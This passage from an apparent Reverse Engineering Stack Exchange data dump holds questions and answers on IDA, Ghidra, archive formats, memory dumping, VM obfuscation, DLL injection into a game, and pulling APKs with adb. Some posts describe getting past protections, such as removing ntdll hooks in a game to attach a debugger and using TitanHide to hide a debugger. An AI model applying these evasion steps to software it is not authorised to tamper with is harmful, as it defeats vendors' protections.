+There are data after the end of archive
+Offset = 5636247
+Physical Size = 98
+Tail Size = 12327687
+Headers Size = 10
+Streams = 1
+
+ERROR: There is some data after the end of the payload data : payload.000
+
+Sub items Errors: 1
+Archives with Errors: 1
+Open Errors: 1
+
+

But gunzip does not recognize the format.

+

At this point, what would be the best way of interpreting this new archival structure and how do I proceed forward?

+

(Note: Hex Fiend displays 000.pbzx because I did actually name the files with the .pbzx extension even though that naming was incorrect and had modified it to .unpbzx for clarity in this question)

+",33705,,33705,,6/29/2020 11:53,9/7/2021 4:35,Attempting to reverse engineer an iOS OTA payload-like archival format,,2,0,,,,CC BY-SA 4.0 +25421,1,,,6/29/2020 12:18,,1,137,"

I want to fix a .plt segment in IDA Pro by replacing 12 bytes from start of every function in the .plt segment with the ones I specify.

+

I want to just make each function return so I'm replacing opcodes to do this, but doing this by hand is a painful job. My fingers and palm hurt after I modified a single library, so I need a way to do that with IDA Python.

+

It's an ARM 32 shared library, I know it doesn't matter here but specified for goodness sake.

+

This is the hex I'm replacing in every function:

+

00 00 a0 e1 00 00 a0 e3 1e ff 2f e1

+

This is what this hex is all about:

+
    movs r0, r0
+    movs r0, #0
+    bx lr
+
+",33709,,2959,,6/29/2020 17:27,6/29/2020 17:27,Replacing bytes from start of every function with IDA Pro,,0,1,,,,CC BY-SA 4.0 +25422,1,,,6/29/2020 16:56,,2,889,"

I am currently debugging the EXT4 loader, and using the GUI and selecting the file every time is fairly annoying. The simpler solution would be to have a Headless Analyzer invocation that imports the file system image and parses it.

+

The naive way of simply calling the Headless Analyzer with the arguments for the project location, name and -import image.ext4 results in the following errors:

+
INFO  No load spec found for import file: <redacted>.ext4   (AutoImporter.java:215) 
+ERROR The AutoImporter could not successfully load <redacted>.ext4 with the provided import parameters. Please ensure that any specified processor/cspec arguments are compatible with the loader that is used during import and try again.   (HeadlessAnalyzer.java:1651) 
+ERROR REPORT: Import failed for file: <redacted>.ext4   (HeadlessAnalyzer.java:1688) 
+
+

The documentation only covers handling specific binaries, so this doesn't seem like it is supported currently.

+

A workaround that does not work for my specific use case, but might suffice for others is to mount the image and then use the -recursive argument for the Headless Analyzer.

+

A solution could be a script, which would call whatever is called after selecting a file via the Open File System menu option. There doesn't seem to be one like this shipped with Ghidra yet, but maybe there is one written by the community somewhere.

+",31435,,,,,6/30/2020 6:08,How to import a file system image with Ghidra Headless Analyzer?,,1,0,,,,CC BY-SA 4.0 +25423,2,,25422,6/29/2020 18:11,,1,,"

The solution that I found that suffices for my current issue of debugging the EXT4 parser is is the following Ghidra Script, saved as ImportFS.java:

+
import ghidra.app.script.GhidraScript;
+import ghidra.formats.gfilesystem.FSRL;
+import ghidra.formats.gfilesystem.FileSystemRef;
+import ghidra.formats.gfilesystem.FileSystemService;
+
+import java.io.File;
+
+public class ImportFS extends GhidraScript{
+
+        @Override
+        protected void run()throws Exception{
+                File filesystemImage = askFile("Choose Filesystem Container", "Select");
+                FSRL fsrl = FSRL.fromString("file://" + filesystemImage.getAbsolutePath());
+                FileSystemService fileSystemService = FileSystemService.getInstance();
+                FileSystemRef ref = fileSystemService.probeFileForFilesystem(fsrl, monitor, null);
+        }
+}
+
+

And invoking the Headless Analyzer with

+
analyzeHeadless /tmp temp_project -scriptPath /path/to/script/folder -readOnly -preScript ImportFS.java /path/to/file.img
+
+

askFile will not prompt for the file via a GUI when running in headless mode, so either /path/to/file.img has to be provided via the argument or a property file.

+

Further code would be needed for actually importing the file system tree after parsing, but this should be doable.

+",31435,,31435,,6/30/2020 6:08,6/30/2020 6:08,,,,0,,,,CC BY-SA 4.0 +25424,2,,25419,6/29/2020 19:32,,1,,"

YAA is possibly the signature of yaa archives, so try using the yaa utility on those files.

+",60,,,,,6/29/2020 19:32,,,,1,,,,CC BY-SA 4.0 +25426,2,,8522,7/1/2020 6:48,,1,,"

The point of the debugger is to show what actually is in memory and not what happens to be present in the database. That said, I imagine you can come up with some script based on visit_patched_bytes(), get_original_byte() and get_db_byte().

+",60,,,,,7/1/2020 6:48,,,,0,,,,CC BY-SA 4.0 +25427,1,,,7/1/2020 7:05,,1,1194,"

I trying solve some https://crackmes.one/ simple quests. I newbie on it. But after export binary file (even without any changes), when I run the program in the terminal, I get the message "segmentation fault".

+

I use ghidra 9.1.2 in Kali Linux in VBox with 5 CPUs and 8 Gb RAM. Host: Ryzen 5 3600, 16 Gb DDR4.

+

I have record a video with demo of reproducing this issue: https://www.youtube.com/watch?v=M4RKXHRBNM8\

+

But I don't have such problems when I try solve windows exe crackmes on my host Windows 10 machine.

+

Also I note that after analysis in bookmarks appeared message with description: Non-Returning Function Identified with any crackmes.

+",18289,,,,,7/2/2020 7:41,Segmentation fault after export binary file in Ghidra even without any changes,,1,5,,7/5/2020 11:23,,CC BY-SA 4.0 +25428,1,25429,,7/1/2020 7:39,,1,1568,"

I'm facing a problem that i need to dump a large region of memory with IDA pro

+

using xdbg its easily done by going to memory map tab and just dumping a region, how can i do this in IDA pro? for example dump from address x to y

+

I tried to use a simple IDApython script but if the size is large IDA will just crash (I'm dumping a large region while remotely debugging a windows kernel)

+
filename = AskFile(1, "*.bin", "Output file name")
+address = startAddress
+size = 0xFFFFFF
+dbgr = True
+with open(filename, "wb") as out:
+    data = GetManyBytes(address, size, use_dbg=dbgr)
+    out.write(data)
+
+",28109,,28109,,7/1/2020 7:47,7/1/2020 17:43,What is the easiest way to dump a REGION of memory in IDA pro?,,1,4,,,,CC BY-SA 4.0 +25429,2,,25428,7/1/2020 17:43,,1,,"

Without scripting:

+
    +
  1. Select the range:
  2. +
+

Go to start of the area, press Alt+L, go to the end

+
    +
  1. Edit, Export data (or Shift+E)

    +
  2. +
  3. pick "raw bytes" and enter filename in the Outpuf File field.

    +
  4. +
+

With scripting:

+
idc.savefile(filename, 0, startAddress, size)
+
+",60,,,,,7/1/2020 17:43,,,,0,,,,CC BY-SA 4.0 +25430,1,25432,,7/1/2020 18:42,,1,185,"

I am tracking down a data structure whose address is inside the second operand:

+
mov rcx, qword ptr ss:[rbp+E0]
+
+

When I look at the value of [rbp+E0] I see the following dump:

+
21 C4 FC 5E 00 00 00 00
+
+

This is the pointer to the data structure but it is stored as little endian. So I cannot simply copy the address. I have to transform it by hand into:

+
000000005EFCC421
+
+

Is there a common and easy way to handle these situations? I am currently using x64dbg as a debugger. +Thanks!

+",27921,,,,,7/1/2020 21:54,How can I easily convert little endian pointers in hex dumps?,,1,0,,,,CC BY-SA 4.0 +25432,2,,25430,7/1/2020 21:54,,1,,"

Normally there should be an option “display as dwords” or similar for the memory dump

+",60,,,,,7/1/2020 21:54,,,,0,,,,CC BY-SA 4.0 +25434,2,,25427,7/2/2020 7:41,,2,,"

While searching solution for my question I found related issue in GitHub repository of project: NationalSecurityAgency/ghidra#issue-19.

+

According to many comments, community around ghidra are waiting for this functionality allowing patching binaries.

+

In this comment: NationalSecurityAgency/ghidra/issue-19#issuecomment-560485351 @schlafwandler offers own Python script that should solve the issue and it is works for me on Kali Linux. On Windows 10 I still did not get such problems, so I don't need to use additional tools like this.

+

Also issue closed with link to related open PR: https://github.com/NationalSecurityAgency/ghidra/pull/1505 (ElfExporter and PeExporter)

+",18289,,,,,7/2/2020 7:41,,,,0,,,,CC BY-SA 4.0 +25435,1,,,7/2/2020 11:16,,3,446,"

I'm currently trying to look into Q.U.B.E. 2's internal mechanics, so I decided to look at it using Ghidra. Q.U.B.E. 2 is built upon UnrealEngine, so it it's pretty big (~50 Mb's). However, when importing the file, Ghidra complains about a lot of missing DLLs. So I started downloading all of them manually and putting them into a directory which I specified in the import settings -> External Libraries, however, the missing files only get written in the "Additional Info" field of the import results.

+

The problem here is, that the "Additional Info" ends with the following message:

+
There were too many messages to display.
+659 messages have been truncated.
+
+

meaning I can't take a look at all of the missing dll's.

+

I can't have a good look into the code without the dependencies, as Ghidra displays No symbol warning's everywhere. My guess is that a big thing of Unreal Engine is still missing, as most of the missing symbols start with U (UObjectBase, UWorld, ...)

+

Can I somehow look at the complete import log to add the missing libraries? Or is there a faster way to supply every dependency?

+",33731,,,,,7/2/2020 11:16,"Is there a way to view the complete ""Additional Information"" log of Ghidra's ""Import Results Summary""?",,0,0,,,,CC BY-SA 4.0 +25437,1,,,7/3/2020 1:42,,2,193,"

While working with the GAL16V8 (an old programmable logic device), I found out that the Programmers Electronic Signature (PES) of each GAL has a checksum byte

+

I've read the PES of some GALs but was unable find out the kind of checksum used. In the sequences below, the last byte is supposed to be the checksum.

+
00 03 1A A1 00 00 00 30
+00 05 50 A1 CD A6 03 06
+00 05 1A A1 CD A4 03 06
+00 02 1A 8F 00 00 00 15
+00 02 1A 81 00 00 00 10
+
+

How do I identify the checksum method used?

+",33737,,33705,,7/3/2020 22:56,7/5/2020 12:15,crc - reverse engineering GAL16V8 checksum method,,1,0,0,,,CC BY-SA 4.0 +25438,1,,,7/3/2020 17:40,,3,630,"

I am trying to port Enrique Nissim's script from his presentation "Reverse Engineering and Bug Hunting on KMDF Drivers" to IDA 7.4. His original script can be found at:

+

https://github.com/IOActive/kmdf_re/tree/master/code

+

My somewhat updated version can be found at: +https://github.com/MrSynAckSter/kmdf_re/blob/master/code/kmdf_re.py

+

While I have eliminated most of the errors, I noticed that on all of the drivers I tried it on some of the constants fail to be added to the IDA database.

+

Errors like these propagate upon running the script:

+
(1, '_GUID')
+(2, 'GUID')
+(3, 'RUNTIME_FUNCTION')
+(4, 'UNWIND_INFO_HDR')
+(5, 'UNWIND_CODE')
+(6, '_UNICODE_STRING')
+(7, 'USHORT')
+(8, 'PWSTR')
+(9, 'WCHAR')
+(10, 'wchar_t')
+(11, 'FILE')
+(12, '_iobuf')
+(13, '_MAJOR_FUNCTIONS')
+(14, 'MAJOR_FUNCTIONS')
+MAJOR_FUNCTIONS: failed to add constant DispatchCreate=0 (0x0)
+MAJOR_FUNCTIONS: failed to add constant DispatchCreateNamedPipe=1 (0x1)
+MAJOR_FUNCTIONS: failed to add constant DispatchCLose=2 (0x2)
+MAJOR_FUNCTIONS: failed to add constant DispatchRead=3 (0x3)
+MAJOR_FUNCTIONS: failed to add constant DispatchWrite=4 (0x4)
+MAJOR_FUNCTIONS: failed to add constant DispatchQueryInformation=5 (0x5)
+MAJOR_FUNCTIONS: failed to add constant DispatchSetInformation=6 (0x6)
+MAJOR_FUNCTIONS: failed to add constant DispatchQueryEA=7 (0x7)
+MAJOR_FUNCTIONS: failed to add constant DispatchSetEA=8 (0x8)
+MAJOR_FUNCTIONS: failed to add constant DispatchFlushBuffers=9 (0x9)
+MAJOR_FUNCTIONS: failed to add constant DispatchQueryVolumeInformation=10 (0xA)
+MAJOR_FUNCTIONS: failed to add constant DispatchSetVolumeInformation=11 (0xB)
+MAJOR_FUNCTIONS: failed to add constant DispatchDirectoryControl=12 (0xC)
+MAJOR_FUNCTIONS: failed to add constant DispatchFileSystemControl=13 (0xD)
+MAJOR_FUNCTIONS: failed to add constant DispatchDeviceIOControl=14 (0xE)
+MAJOR_FUNCTIONS: failed to add constant DispatchInternalDeviceControl=15 (0xF)
+MAJOR_FUNCTIONS: failed to add constant DispatchShutdown=16 (0x10)
+MAJOR_FUNCTIONS: failed to add constant DispatchLockControl=17 (0x11)
+MAJOR_FUNCTIONS: failed to add constant DispatchCleanup=18 (0x12)
+MAJOR_FUNCTIONS: failed to add constant DispatchCreateMailslot=19 (0x13)
+MAJOR_FUNCTIONS: failed to add constant DispatchQuerySecurity=20 (0x14)
+MAJOR_FUNCTIONS: failed to add constant DispatchSetSecurity=21 (0x15)
+MAJOR_FUNCTIONS: failed to add constant DispatchPower=22 (0x16)
+MAJOR_FUNCTIONS: failed to add constant DispatchSystemControl=23 (0x17)
+MAJOR_FUNCTIONS: failed to add constant DispatchDeviceChange=24 (0x18)
+MAJOR_FUNCTIONS: failed to add constant DispatchQueryQuota=25 (0x19)
+MAJOR_FUNCTIONS: failed to add constant DispatchSetQuota=26 (0x1A)
+MAJOR_FUNCTIONS: failed to add constant DispatchPNP=27 (0x1B)
+
+

I have narrowed their origin to this bit of the script at line 439:

+
def load_kmdf_types_into_idb():
+    header_path = idautils.GetIdbDir()
+    idaapi.idc_parse_types("".join([header_path, "WDFStructs.h"]), idc.PT_FILE)
+    for idx in range(1, idc.get_ordinal_qty
+
+
+()):
+        #Fails to add some of the types
+        print((idx, idc.get_numbered_type_name(idx)))
+        idc.import_type(idx, idc.get_numbered_type_name(idx))
+
+

However the IDA documentation doesn't help much in terms of deciphering the "failed to add constant" errors.

+

https://www.hex-rays.com/products/ida/support/idapython_docs/ida_typeinf-module.html#import_type

+
import_type(til, idx, name, flags=0)
+ 
+Copy a named type from til to idb.
+
+Parameters:
+til - type library (C++: const til_t *)
+idx - the position of the new type in the list of types (structures or enums). -1 means at the end of the list (C++: int)
+name - the type name (C++: const char *)
+flags - combination of Import type flags (C++: int)
+Returns: tid_t
+BADNODE on error
+
+

The big question for me is why is this type import failing? Is it because the types already exist, or is there some subtle syntax error here? Is the flag parameter here mandatory? The error and documentation make is very difficult to tell exactly what's going on here.

+

The reason why I care is I believe that the failing imports are contributing to the driver failing to find IoControlls, driver major functions, and other important structures for reverse engineering KMDF drivers.

+

Here are my main theories for why this is happening:

+
    +
  1. Somehow the behavior of import_type doesn't exactly work closely enough to the original Til2Idb method that was in the original script.

    +
  2. +
  3. The types are somehow are already in the database in some conflicting way due to flirt signatures or something. I tried looking for them manually, but I don't see them being added on any of the drivers I have tried with the script.

    +
  4. +
  5. This is IDA telling me that the constants cant be added because they don't exist in the database and the script is functioning more or less as intended. If this is cases I wish the IDA docs would give me some indication of this behavior.

    +
  6. +
+

I hope this makes the question clear guys. I hope you can help!

+

Update: As an added wrinkle, when I manually import the header file this is parsing IDA doesn't generate any errors.

+",2149,,2149,,7/5/2020 18:33,7/5/2020 18:33,Why does IDA Pro fail to add these constants?,,1,0,,,,CC BY-SA 4.0 +25439,2,,25408,7/3/2020 17:45,,1,,"

as I understand your question, if your binary doesn't have a packer / protector, and you can't use any way to hook the original source, try using a kernel hooke like TitanHide, and observe the behavior, now if not having anything so complicated check the sides of your debugger look for flags and find the "zero flag", and change your return, this is something simple, but if you specify better I can give you another answer, good luck.

+",33530,,,,,7/3/2020 17:45,,,,0,,,,CC BY-SA 4.0 +25441,1,,,7/4/2020 19:25,,0,537,"

I have thousands of old backup files from EaseUs Todo Backup. They are incremental backups saved inside a ".pbd" file (EaseUs's proprietary backup format). I've tried to get my files out using their official tools, but they dont work due to the amount of files I have. I want to write my own program to take these files out and extract them to a more common format like .zip.

+

I figure I'd start by using their software to backup a simple text file (with contents "hello world"), then change that text file to "hello world123" and run another incremental backup. This way I can compare the two initial files to see where the file names/contents are stored within the binary.

+

Here are the two test files: https://dl.dropboxusercontent.com/s/6fhqrkodz68vgv0/backups.zip

+

Screenshot of files: https://dl.dropboxusercontent.com/s/a4pui0hugym10xq/explorer_sWDcZaogNa.png

+

When I compare the two files in a hex editor, I can't seem to find where the names/contents are, and how I can parse these files in software. This is the first time I've reverse engineered anything native (I've decompiled java/c# a bunch) so any tips/advice are appreciated.

+",33745,,,,,7/5/2020 13:27,Reverse Engineer Unknown File Format,,1,0,,,,CC BY-SA 4.0 +25442,2,,25438,7/4/2020 21:49,,1,,"

IDA does not allow conflicting names anywhere in the database(including enum members).

+

Most likely both _MAJOR_FUNCTIONS and MAJOR_FUNCTIONS have the same set of members, so the first one wins.

+",60,,,,,7/4/2020 21:49,,,,3,,,,CC BY-SA 4.0 +25443,2,,25437,7/5/2020 12:15,,1,,"

If you can't find documentation indicating the checksum algorithm, you could try reversing the software that reads or writes the checksum. I'm not familiar with GAL, but from the site you linked, there are references to programming software [1] which should be writing the checksum or verifying it before programming the chip.

+

[1] http://www.armory.com/~rstevew/Public/Pgmrs/GAL/intro.htm

+",33700,,,,,7/5/2020 12:15,,,,1,,,,CC BY-SA 4.0 +25444,2,,25441,7/5/2020 13:27,,1,,"

Sending the files through binwalk reveals a bunch of zlib-compressed chunks:

+
Scan Time:     2020-07-05 14:11:21
+Target File:   my folder_20200704_Full_v1.pbd
+MD5 Checksum:  754146f25634e3eb90ee85ba8e2dc766
+Signatures:    391
+
+DECIMAL       HEXADECIMAL     DESCRIPTION
+--------------------------------------------------------------------------------
+152           0x98            Zlib compressed data, compressed
+271           0x10F           Zlib compressed data, compressed
+2856          0xB28           Zlib compressed data, compressed
+2988          0xBAC           Zlib compressed data, compressed
+
+
+Scan Time:     2020-07-05 14:11:21
+Target File:   my folder_20200704_Full_v2.pbd
+MD5 Checksum:  f443635bfaf4203ba0ad40adc6ae1d1f
+Signatures:    391
+
+DECIMAL       HEXADECIMAL     DESCRIPTION
+--------------------------------------------------------------------------------
+152           0x98            Zlib compressed data, compressed
+271           0x10F           Zlib compressed data, compressed
+2859          0xB2B           Zlib compressed data, compressed
+2996          0xBB4           Zlib compressed data, compressed
+
+
+

From there I was able to slice out each chunk and decompress it using dd and zlib-flate: zlib-flate -uncompress < <(dd skip=271 ibs=1 if=my\ folder_20200704_Full_v1.pbd) > chunk2. I can see the folder name in the first two chunks, and the last chunk reveals the file name yo.txt, but I can't see the file contents anywhere. Additionally, binwalk is unable to detect anything in the decompressed chunks. Hopefully this gets you a bit further along. :)

+",33700,,,,,7/5/2020 13:27,,,,1,,,,CC BY-SA 4.0 +25445,1,25457,,7/5/2020 13:41,,0,158,"

What is the best approach when debugging a multithreaded program that is yet to be encrypted? Where is the best place to put Breakpoints using Ollydbg?

+",33742,,,,,7/7/2020 11:05,Debugging Encrypted Malware with Multiple Threads,,1,1,,,,CC BY-SA 4.0 +25447,1,25450,,7/5/2020 18:09,,3,189,"

Can anyone explain, why fopen takes as argument- not a file name- according to code takes some off_6A5D8C:

+
.text:00537F9F                 push    offset stru_6C4E40 ; FILE *
+.text:00537FA4                 call    _fclose
+.text:00537FA9                 push    offset aWt      ; "wt"
+.text:00537FAE                 push    offset off_6A5D8C ; char *
+.text:00537FB3                 call    _fopen
+.text:00537FB8                 mov     dword_83AE9C, eax
+
+

and I tracked this off_6A5D8C it's pointed to label loc_4C554E:

+
.data:006A5D8C ; char off_6A5D8C
+.data:006A5D8C off_6A5D8C      dd offset loc_4C554E    
+.data:006A5D90 ; char aWt[]
+.data:006A5D90 aWt             db 'wt',0
+
+
.text:004C554E loc_4C554E:
+.text:004C554E                 mov     esp, ebp
+.text:004C5550                 pop     ebp
+.text:004C5551                 retn    0Ch
+
+

I am not expert in disassembling, may be it requires perform Undefine operation for loc_4C554E - and in this case it's looks like:

+
.text:004C554E unk_4C554E      db  8Bh ; Ë             ; DATA XREF: .data:off_6A5D8Co
+.text:004C554F                 db 0E5h ; õ
+.text:004C5550                 db  5Dh ; ]
+.text:004C5551                 db 0C2h ; T
+.text:004C5552                 db  0Ch
+.text:004C5553                 db    0
+
+

Seems it is string terminated with 0. How to turn this string (file name) to readable look? +Thanks in advance.

+",33371,,24222,,7/8/2020 5:52,7/8/2020 5:52,Figure out with fopen,,1,1,,,,CC BY-SA 4.0 +25449,2,,13376,7/5/2020 18:54,,2,,"

I managed to decode the protocol on XYE connection. My findings are here https://codeberg.org/xye/xye

+

The XYE connection is the bus between a central controller and the indoor units. The bus from the indoor units to the outdoor units is labeled PQE. My units don't have the connection for that, so I can't test it.

+

The data in the initial post look like you are missing bytes. I used a cheap RS-485 to USB converter to monitor the data. Worked great.

+",33754,,,,,7/5/2020 18:54,,,,2,,,,CC BY-SA 4.0 +25450,2,,25447,7/5/2020 20:45,,6,,"

It takes the file name, but IDA doesn't recognise it.

+

In this example, IDA interpreted 4-byte string NUL\x00 (4E 55 4C 00) as an offset (address 0x004C554E) in the code. You may force it to interpret it as an ascii string simple by pressing a when the cursor is on the line 006A5D8C.

+

The reason that the byte order is reversed is that x86 architecture uses little endian byte ordering, so in case you interpret 4E 55 4C 00 as a number, the byte order will be reversed (hence 0x004C554E).

+",27930,,,,,7/5/2020 20:45,,,,0,,,,CC BY-SA 4.0 +25451,1,,,7/6/2020 0:52,,3,479,"

Dealing with VM-obfuscated code and started learning about symbolic analysis but having a hard time wrapping my head around how to practically apply it to a problem. If someone can give me some pointers, I'd greatly appreciate it.

+
    +
  • With dynamic analysis, am I supposed to only emulate the VM to get a symbolic binding? If yes, how can I deobfuscate only that part of a binary without touching the rest and would reconstructing a new binary even work if I only touched a small part (Jump locations might be off or don't point anywhere)? How do I do that? A lot of papers I read synthesize a new C program or use llvm-ir but that's not the entire program but only the VM loop. Now how do I merge it?
  • +
  • If I emulate the entire binary to get a symbolic representation of it (like I've seen in some CTF write-ups), wouldn't that mean I only have the representation of the main path that this binary is going? (No inputs). My reconstructed binary would lack the interactions that are not in the main trace from start to finish, no?
  • +
  • VM-obfuscated code usually has an encryption key that changes with each opcode that is interpreted. If I have a symbolic representation, I would still not be able to arbitrarily decompile the entire virtual opcode because I don't know the encryption key at that time.
  • +
+

On top of the confusion, the binary I am looking at right now doesn't just have one obfuscated VM loop but multiple which is apparently not uncommon when using commercial VM obfuscation. A short trace gave me over 4 structures that look like a VM loop. Debugging it showed me that the VM stack/context/registers used for pointers of each machine is different and random. So now,

+
    +
  • Do I deal with the VMs 1-by-1? As in, I reverse one until it calls the second (say VM1 calling VM2 sometime), then recompile a binary without it, then go to the next?
  • +
  • Can I emulate the entire thing even though it means it will emulate potential dozens of VM-loops? I am guessing symbolic analysis won't really work if the registers used for internal stack and such are different over time
  • +
  • If I have multiple VMs, how do I even know which bytecode is interpreted by which VM? I can take a guess from the sections and analyzing my trace, but again the trace I have is only for the main path and other branches of the app are not in it.
  • +
+

My understanding from it is something like this:

+
    +
  • Identify the VM loop and analyze where it stores it's context, stack pointer, opcode pointer, vmkey
  • +
  • Create a symbolic representation of the loop and how it pulls the next opcodes
  • +
  • Find all the handlers of the VM and create a symbol representation of them
  • +
  • Somehow use this knowledge then to de-virtualize it
  • +
+

All in all, I am really confused. I read a handful of papers on it but security researchers don't really like releasing tools/code samples so it's all just theoretical and abstract.

+",33669,,33669,,7/6/2020 2:21,7/6/2020 2:21,How can I practically approach VM-obfuscated code with symbolic analysis/execution?,,0,6,,,,CC BY-SA 4.0 +25452,1,,,7/6/2020 3:08,,1,99,"

I have a Ubuntu 18.04 memory dump (entire RAM), and while I was acquiring it with LiME, I had a Python program running. Using Volatility, I want to recover its data structure values which are located in Python program process heap. The linux_proc_map plugin gave me the virtual addresses I should be looking through.

+

For now, I am trying to find out how CPython PyObjects appear in memory, but I'm not sure what values to look for, so scanning for specific values will be difficult. I only know the name of the data structure...

+

Has anyone else on here tried to recover program data structures from process memory?

+",33755,,,,,7/6/2020 3:08,How do I find Python data structures in Linux process memory using Volatility?,,0,1,,,,CC BY-SA 4.0 +25454,1,25455,,7/7/2020 7:58,,0,87,"

I need to patch an arm7 program by replacing this fopen function by another function.

+
.text:00018D68 52 D7 FF EB                       BL              fopen
+
+...
+
+.plt:0000EAB8 ; FILE *fopen(const char *filename, const char *modes)
+
+

Do you know how to calculate the 24 bits that I need to write after EB? +The documentation is not very clear. I tried to find a Branch offset calculator but not found.

+

Thx,

+",33760,,,,,7/7/2020 8:52,ARM7 32-bit Branch Offset Calculator,,1,0,,,,CC BY-SA 4.0 +25455,2,,25454,7/7/2020 8:52,,0,,"

you can use https://www.keystone-engine.org/showcase/ assembler

+
from keystone import *
+target = 0xDEADBEEF
+current = 0x18D68
+ks = Ks(KS_ARCH_ARM, KS_MODE_ARM)
+bytes(ks.asm("bl {}".format(hex(target)), current)[0]).hex()
+
+",33764,,,,,7/7/2020 8:52,,,,1,,,,CC BY-SA 4.0 +25456,1,,,7/7/2020 9:27,,1,69,"

I launch a game process then I suspend the process and restore the hooks in ntdll.dll then I attach debugger to the process and resume the process. Next I see debugger catch the 0xC0000005(access violation) exception on thread [DbgUiRemoteBreakin] and did not break on any breakpoint I seted (I had set a break point on [DbgUiRemoteBreakin]). And can not single step debug. So is there any infomation about how to solve it here?

+",33765,,,,,7/7/2020 9:27,Debugged process not break on breakpoint,,0,1,,,,CC BY-SA 4.0 +25457,2,,25445,7/7/2020 11:05,,0,,"

If the program is using standard cryptography libraries then hooking the exported functions of that library might be a good starting point

+",33764,,,,,7/7/2020 11:05,,,,0,,,,CC BY-SA 4.0 +25458,1,,,7/8/2020 13:41,,0,125,"

I am using some DLL files in my Java application using JNI library.

+

The dlls are not written by me and I do not have access to their source codes. They are so buggy and throw lots of exceptions. Needless to say that they are making my java application unstable since unhandled exceptions in native side crash the java application.

+

I was thinking to reverse engineer the dll files and add some try and catch clause there or maybe just find the culprit line and add some prevention there.

+

The exceptions are mainly due to dereferencing a null pointer which I believe I can fix them by a couple of instructions (cmp and jmp)

+

So what I am trying to ask are as follow:

+
    +
  1. Is it practically doable?
  2. +
  3. Is IDA the right tool to do so?
  4. +
+

Edit : +Another solution that I am guessing could fix the problem is to write a new native class and wrap all native functions that i am using in the new functions with error handling. But I have a lot of native functions and this solution could be tedious and cumbersome. So, still, reverse engineering DLLs is my number one solution. Comments are really welcome. Please share your views.

+",19355,,19355,,7/9/2020 14:37,7/9/2020 14:37,Can I reverse engineer a DLL file and add SEH or some error handing codes to it?,,0,3,,,,CC BY-SA 4.0 +25459,1,25478,,7/8/2020 14:06,,2,674,"

I need some tip to undrestand what is the best way to execute external code from DLL or command line.

+

I like to add the force feedback support to different games that not support it.

+

I can write a DLL or a commnad line exe that execute the FFB. The problem is how I call these function from the game.

+

For the moment I have disassebled one game with IDA and found the point to put the call.

+

I don't have any experience in assembly. So I'am not sure if I'am in the right way.

+

There are some tool like: wininject so I was think to use it to add the dll dependency to my exe game.

+

After I need to do the call of my function inside the DLL in assembly (ex. exectute_ffb(par1) ), but I don't known the code to do the call.

+

Here the screenshot about the call.

+

+

+
int __cdecl sub_43AC70(char *a1, int a2)
+{
+  call my_function(a1) from mylibrary.dll
+
+  int i; // [esp+0h] [ebp-4h]
+
+  for ( i = sub_43BC50(); i; i = *(_DWORD *)i )
+  {
+    if ( *(_DWORD *)(i + 88) == a2 && (!a1 || !stricmp((const char *)(i + 4), a1)) )
+      return i;
+  }
+  return 0;
+
+

Can you help me please ?

+",33776,,33776,,7/8/2020 14:12,7/11/2020 13:59,dll injection (assembly code),,1,2,,,,CC BY-SA 4.0 +25460,2,,25394,7/9/2020 2:14,,1,,"

First, you need to include the std libs you need

+
#include <xtree>
+#include <set>
+#include <map>
+#include <functional>
+
+

Second you need to remove "struct" before all the variable declarations that aren't structs

+

and third you should delete everything from this header you don't need, it's 90% garbage

+

remove all instances of "__cppobj"

+

You also need to define ActorRef, World & WorldVtbl.

+

I was able to remove 99% of errors by doing these things:

+
#include <xtree>
+#include <set>
+#include <map>
+#include <functional>
+
+#define __int8 char
+#define __int16 short
+#define __int32 int
+#define __int64 long long
+
+struct IPlayer
+{
+
+};
+
+struct ILocalPlayer
+{
+
+};
+
+struct IActor
+{
+
+};
+
+template <class T>
+class ActorRef
+{
+public:
+    IPlayer* m_object;
+};
+
+struct AIZone
+{
+    
+};
+
+struct WorldVtbl
+{
+
+};
+
+#define __int8 char
+#define __int16 short
+#define __int32 int
+#define __int64 long long
+
+struct IPlayer;
+struct ILocalPlayer;
+
+struct std::_Tree_val<std::_Tree_simple_types<ActorRef<IPlayer> > > : std::_Container_base0
+{
+    std::_Tree_node<ActorRef<IPlayer>, void*>* _Myhead;
+    unsigned int _Mysize;
+};
+
+struct std::_Tree_val<std::_Tree_simple_types<ActorRef<IActor> > > : std::_Container_base0
+{
+    std::_Tree_node<ActorRef<IActor>, void*>* _Myhead;
+    unsigned int _Mysize;
+};
+
+struct std::_Tree_val<std::_Tree_simple_types<std::pair<unsigned int const, ActorRef<IActor> > > > : std::_Container_base0
+{
+    std::_Tree_node<std::pair<unsigned int const, ActorRef<IActor> >, void*>* _Myhead;
+    unsigned int _Mysize;
+};
+
+struct std::_Tree_val<std::_Tree_simple_types<std::pair<std::basic_string<char, std::char_traits<char>, std::allocator<char> > const, AIZone*> > > : std::_Container_base0
+{
+    std::_Tree_node<std::pair<std::basic_string<char, std::char_traits<char>, std::allocator<char> > const, AIZone*>, void*>* _Myhead;
+    unsigned int _Mysize;
+};
+
+struct World
+{
+    WorldVtbl* vfptr;
+    std::set<ActorRef<IPlayer>, std::less<ActorRef<IPlayer> >, std::allocator<ActorRef<IPlayer> > > m_players;
+    std::set<ActorRef<IActor>, std::less<ActorRef<IActor> >, std::allocator<ActorRef<IActor> > > m_actors;
+    std::map<unsigned int, ActorRef<IActor>, std::less<unsigned int>, std::allocator<std::pair<unsigned int const, ActorRef<IActor> > > > m_actorsById;
+    ILocalPlayer* m_localPlayer;
+    unsigned int m_nextId;
+    std::map<std::basic_string<char, std::char_traits<char>, std::allocator<char> >, AIZone*, std::less<std::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::pair<std::basic_string<char, std::char_traits<char>, std::allocator<char> > const, AIZone*> > > m_aiZones;
+};
+
+struct ClientWorld : World
+{
+    ActorRef<IPlayer> m_activePlayer;
+    float m_timeUntilNextNetTick;
+};
+
+

My opinion is using a tool like ReClass.NET is much easier for reversing structures and exporting header files, you should give it a try and see if it fits your needs.

+",24265,,,,,7/9/2020 2:14,,,,0,,,,CC BY-SA 4.0 +25461,1,,,7/9/2020 4:46,,2,271,"

For analyzing and reversing android apps, where the target app is installed on an android phone, usually there is a base.apk file on the device, and there are various ways to find this apk file on the device and adb pull it off the device.

+

For example, on stackoverflow, the answer by yojimbo with 1500+ upvotes, gives the following 3 steps:

+
    +
  1. Determine the package name of the app, e.g. "com.example.someapp". Using adb shell pm list packages.
  2. +
  3. Get the full path name of the APK file for the desired package. Using adb shell pm path com.example.someapp
  4. +
